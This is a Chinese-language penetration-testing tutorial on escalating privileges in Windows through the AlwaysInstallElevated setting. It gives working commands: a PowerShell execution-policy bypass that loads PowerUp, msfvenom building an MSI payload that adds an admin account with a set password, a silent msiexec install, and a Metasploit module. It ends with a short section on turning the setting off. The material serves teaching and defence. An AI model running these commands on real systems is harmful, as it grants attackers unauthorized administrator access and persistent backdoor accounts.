PowerSploit
PowerSploit是基于PowerShell的后渗透框架包含很多Powershell攻击脚本,它们主要用于渗透中的信息侦察、权限提升、权限维持。
GitHub下载:https://github.com/PowerShellMafia/PowerSpoloit
PowerUp
PowerUp是Privesc模块下的脚本功能强大,多用来寻找目标主机windows服务漏洞进行提权的实用脚本。
此实战中使用了Get-RegistryAlwaysInstallElevated两个模块。
检查注册表的设置,如果注册表设置就意味着MSI可以被管理员权限运行。
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Get-RegistryAlwaysInstallElevated
添加用户使用Write-UserAddMSI模块,会产生MSI文件。
普通用户权限运行就可以添加账户
backdoor用户成功添加。
查看管理员组是否有我们添加的用户
backdoor已经是管理员组的成员了
msf
使用msf也可以产生同样的效果
使用msfvenmo生成MSI的payload
msfvenom -p windows/adduser USER=clay PASS=0X7779@ss! -f msi > /tmp/add.msi
使用meterpreter将payload上传
msiexec常用参数
- /i 安装或配置产品
- /x卸载产品
- /quiet安静模式,无用户交互
- /q 【n】无用户界面 【b】基本页面【r】精简页面【f】完整页面
- /morestart安装完成后不重新启动
shell下执行
msiexec /i /qn /quiet c:\add.msi
clay用户成功添加
自动化模块
在msf下有自动化模块可以使用
use exploit/windows/local/always_install_elevated
获得了两个会话
防御措施
此漏洞是因为用户开启了Windows Installer特权安装功能。
方法
运行中 gpedit.msc 打开本地组策略编辑器
组策略中–计算机配置–管理模板–windows组件–windows Installer 永远以高特权进行安装:已启用
组策略中–计算机配置–用户配置–windows组件–windows Installer 永远以高特权进行安装:已启用
对照攻击方法进行防御,只要关闭AlwaysInstallElevated可以阻止他人利用MSI文件进行提权。
人生漫漫其修远兮,网安无止境。
一同前行,加油!